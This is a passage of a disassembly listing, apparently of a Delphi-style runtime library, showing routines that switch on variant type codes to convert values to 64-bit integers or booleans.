loc_4000F79D:				; CODE XREF: sub_4000F6A8+EDj
					; DATA XREF: sub_4000F6A8+D8o
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F6A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F7A8	proc near		; CODE XREF: sub_4000F860+220p

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000F7FF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_4000F860
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000F806


loc_4000F7F6:				; CODE XREF: sub_4000F7A8+5Cj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000F7FF:				; DATA XREF: sub_4000F7A8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000F7F6
; ---------------------------------------------------------------------------


loc_4000F806:				; CODE XREF: sub_4000F7A8+56j
					; DATA XREF: sub_4000F7A8+49o
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F7A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000F814	proc near		; CODE XREF: sub_4000F860+3EBp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000F856
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	14h
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_4000F856:				; CODE XREF: sub_4000F814+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000F814	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F860	proc near		; CODE XREF: sub_4000E9CC+1D2p
					; sub_4000F510+ACp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_4000FC6C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000FA57	; default
					; jumptable 4000F88C cases 10,14,15
		jmp	ds:off_4000F893[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000F893	dd offset loc_4000F8E7	; DATA XREF: sub_4000F860+2Cr
		dd offset loc_4000F8FA	; jump table for switch	statement
		dd offset loc_4000F923
		dd offset loc_4000F936
		dd offset loc_4000F948
		dd offset loc_4000F95E
		dd offset loc_4000F974
		dd offset loc_4000F990
		dd offset loc_4000F9A6
		dd offset loc_4000FA44
		dd offset loc_4000FA57
		dd offset loc_4000F9B9
		dd offset loc_4000FA2E
		dd offset loc_4000FA44
		dd offset loc_4000FA57
		dd offset loc_4000FA57
		dd offset loc_4000F9CC
		dd offset loc_4000F9DF
		dd offset loc_4000F9F3
		dd offset loc_4000FA07
		dd offset loc_4000FA1A
; ---------------------------------------------------------------------------


loc_4000F8E7:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	[ebp+var_10], 0	; jumptable 4000F88C case 0
		mov	[ebp+var_C], 0
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F8FA:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		cmp	byte_4001AA10, 0 ; jumptable 4000F88C case 1
		jz	short loc_4000F910
		mov	dx, 14h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F910:				; CODE XREF: sub_4000F860+A1j
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F923:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 2
		movsx	eax, word ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F936:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 3
		mov	eax, [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F948:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 4
		fld	dword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F95E:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 5
		fld	qword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F974:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 6
		fild	qword ptr [eax+8]
		fdiv	ds:flt_4000FCA0
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F990:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 7
		fld	qword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9A6:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 8
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9B9:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 11
		movsx	eax, word ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9CC:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 16
		movsx	eax, byte ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9DF:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 17
		movzx	eax, byte ptr [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9F3:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 18
		movzx	eax, word ptr [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA07:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 19
		mov	eax, [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA1A:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 20
		mov	edx, [eax+8]
		mov	[ebp+var_10], edx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA2E:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 12
		mov	eax, [eax+8]
		call	sub_4000F860
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA44:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C cases 9,13
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA57:				; CODE XREF: sub_4000F860+26j
					; sub_4000F860+2Cj
					; DATA XREF: ...
		mov	edx, [ebp+var_4] ; default
					; jumptable 4000F88C cases 10,14,15
		mov	edx, eax
		sub	dx, 100h
		jz	short loc_4000FA6A
		dec	dx
		jz	short loc_4000FA7D
		jmp	short loc_4000FA90
; ---------------------------------------------------------------------------


loc_4000FA6A:				; CODE XREF: sub_4000F860+201j
		mov	eax, [ebp+var_4]
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA7D:				; CODE XREF: sub_4000F860+206j
		mov	eax, [ebp+var_4]
		call	sub_4000F7A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA90:				; CODE XREF: sub_4000F860+208j
		mov	edx, [ebp+var_4]
		test	ah, 40h
		jz	loc_4000FC45
		mov	edx, [ebp+var_4]
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4000FC35	; default
					; jumptable 4000FAB0 cases 0,1,9,10,13-15
		jmp	ds:off_4000FAB7[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000FAB7	dd offset loc_4000FC35	; DATA XREF: sub_4000F860+250r
		dd offset loc_4000FC35	; jump table for switch	statement
		dd offset loc_4000FB0B
		dd offset loc_4000FB20
		dd offset loc_4000FB34
		dd offset loc_4000FB4C
		dd offset loc_4000FB64
		dd offset loc_4000FB82
		dd offset loc_4000FB9A
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FBAD
		dd offset loc_4000FC22
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FBC2
		dd offset loc_4000FBD7
		dd offset loc_4000FBEA
		dd offset loc_4000FBFD
		dd offset loc_4000FC0F
; ---------------------------------------------------------------------------


loc_4000FB0B:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 2
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB20:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 3
		mov	eax, [eax+8]
		mov	eax, [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB34:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 4
		mov	eax, [eax+8]
		fld	dword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB4C:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 5
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB64:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 6
		mov	eax, [eax+8]
		fild	qword ptr [eax]
		fdiv	ds:flt_4000FCA0
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB82:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 7
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB9A:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 8
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBAD:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 11
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBC2:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 16
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBD7:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 17
		mov	eax, [eax+8]
		movzx	eax, byte ptr [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBEA:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 18
		mov	eax, [eax+8]
		movzx	eax, word ptr [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBFD:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 19
		mov	eax, [eax+8]
		mov	eax, [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC0F:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 20
		mov	eax, [eax+8]
		mov	edx, [eax]
		mov	[ebp+var_10], edx
		mov	edx, [eax+4]
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC22:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 12
		mov	eax, [eax+8]
		call	sub_4000F860
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC35:				; CODE XREF: sub_4000F860+24Aj
					; sub_4000F860+250j
					; DATA XREF: ...
		mov	eax, [ebp+var_4] ; default
					; jumptable 4000FAB0 cases 0,1,9,10,13-15
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC45:				; CODE XREF: sub_4000F860+236j
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_4000F814
		test	al, al
		jnz	short loc_4000FC62
		mov	eax, [ebp+var_4]
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_4000FC62:				; CODE XREF: sub_4000F860+95j
					; sub_4000F860+BEj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000FC93
; ---------------------------------------------------------------------------


loc_4000FC6C:				; DATA XREF: sub_4000F860+Fo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 14h
		call	sub_4000E068
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		call	sub_40004360


loc_4000FC93:				; CODE XREF: sub_4000F860+40Aj
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F860	endp

; ---------------------------------------------------------------------------
flt_4000FCA0	dd 1.0e4		; DATA XREF: sub_4000F860+11Ar
					; sub_4000F860+30Cr

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000FCA4	proc near		; CODE XREF: sub_4000FE58+10Bp
					; sub_4000FE58+1A3p ...

var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000FD56
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFC0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_4000FCFF
		sub	edx, 7FFDFFFBh
		jnz	short loc_4000FD2C
		cmp	[ebp+var_8], 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_5], al
		jmp	short loc_4000FD38
; ---------------------------------------------------------------------------


loc_4000FCFF:				; CODE XREF: sub_4000FCA4+44j
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_5]
		call	sub_40007F40
		test	al, al
		jnz	short loc_4000FD38
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4000FD38
; ---------------------------------------------------------------------------


loc_4000FD2C:				; CODE XREF: sub_4000FCA4+4Cj
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		call	sub_4000E034


loc_4000FD38:				; CODE XREF: sub_4000FCA4+59j
					; sub_4000FCA4+73j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000FD5D


loc_4000FD45:				; CODE XREF: sub_4000FCA4+B7j
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000FD56:				; DATA XREF: sub_4000FCA4+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000FD45
; ---------------------------------------------------------------------------


loc_4000FD5D:				; CODE XREF: sub_4000FCA4+B1j
					; DATA XREF: sub_4000FCA4+9Co
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000FCA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000FD68	proc near		; CODE XREF: sub_4000FE58+184p
					; sub_4000FE58+325p ...

var_14		= byte ptr -14h
var_C		= word ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		push	esp
		call	sub_4000CDD8
		push	0Bh
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+24h+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		call	sub_4000E034
		cmp	[esp+14h+var_C], 1
		sbb	eax, eax
		inc	eax
		add	esp, 10h
		pop	ebx
		retn
sub_4000FD68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000FDA8	proc near		; CODE XREF: sub_4000FE58+1B2p

var_11		= byte ptr -11h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_11]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000FDFC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_11]
		call	sub_4000E700
		lea	eax, [ebp+var_11]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_11]
		call	sub_4000FE58
		mov	[ebp+var_1], al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000FE03


loc_4000FDF3:				; CODE XREF: sub_4000FDA8+59j
		lea	eax, [ebp+var_11]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000FDFC:				; DATA XREF: sub_4000FDA8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000FDF3
; ---------------------------------------------------------------------------


loc_4000FE03:				; CODE XREF: sub_4000FDA8+53j
					; DATA XREF: sub_4000FDA8+46o
		movzx	eax, [ebp+var_1]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000FDA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000FE0C	proc near		; CODE XREF: sub_4000FE58+333p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= word ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000FE4C
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	0Bh
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		cmp	[esp+20h+var_14], 1
		sbb	eax, eax
		inc	eax
		mov	[edi], al


loc_4000FE4C:				; CODE XREF: sub_4000FE0C+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000FE0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000FE58	proc near		; CODE XREF: sub_4000E9CC+172p
					; sub_4000EBF8+6Cp ...

var_8		= byte ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000FFE9	; default
					; jumptable 4000FE6B cases 10,14,15
		jmp	ds:off_4000FE72[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000FE72	dd offset loc_4000FEC6	; DATA XREF: sub_4000FE58+13r
		dd offset loc_4000FECF	; jump table for switch	statement
		dd offset loc_4000FEEE
		dd offset loc_4000FEFC
		dd offset loc_4000FF09
		dd offset loc_4000FF1F
		dd offset loc_4000FF35
		dd offset loc_4000FF4B
		dd offset loc_4000FF61
		dd offset loc_4000FFDA
		dd offset loc_4000FFE9
		dd offset loc_4000FF70
		dd offset loc_4000FFCA
		dd offset loc_4000FFDA
		dd offset loc_4000FFE9
		dd offset loc_4000FFE9
		dd offset loc_4000FF80
		dd offset loc_4000FF8D
		dd offset loc_4000FF9A
		dd offset loc_4000FFA8
		dd offset loc_4000FFB5
; ---------------------------------------------------------------------------


loc_4000FEC6:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	[esp+8+var_8], 0 ; jumptable 4000FE6B case 0
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FECF:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	byte_4001AA10, 0 ; jumptable 4000FE6B case 1
		jz	short loc_4000FEE5
		mov	dx, 0Bh
		mov	ax, 1
		call	sub_4000DBF4


loc_4000FEE5:				; CODE XREF: sub_4000FE58+7Ej
		mov	[esp+8+var_8], 0
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FEEE:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 0 ; jumptable	4000FE6B case 2
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FEFC:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 3
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF09:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	dword ptr [ebx+8] ; jumptable 4000FE6B case 4
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF1F:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	qword ptr [ebx+8] ; jumptable 4000FE6B case 5
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF35:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fild	qword ptr [ebx+8] ; jumptable 4000FE6B case 6
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF4B:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	qword ptr [ebx+8] ; jumptable 4000FE6B case 7
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF61:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, ebx	; jumptable 4000FE6B case 8
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF70:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 1 ; jumptable	4000FE6B case 11
		sbb	eax, eax
		inc	eax
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF80:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	byte ptr [ebx+8], 0 ; jumptable	4000FE6B case 16
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF8D:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
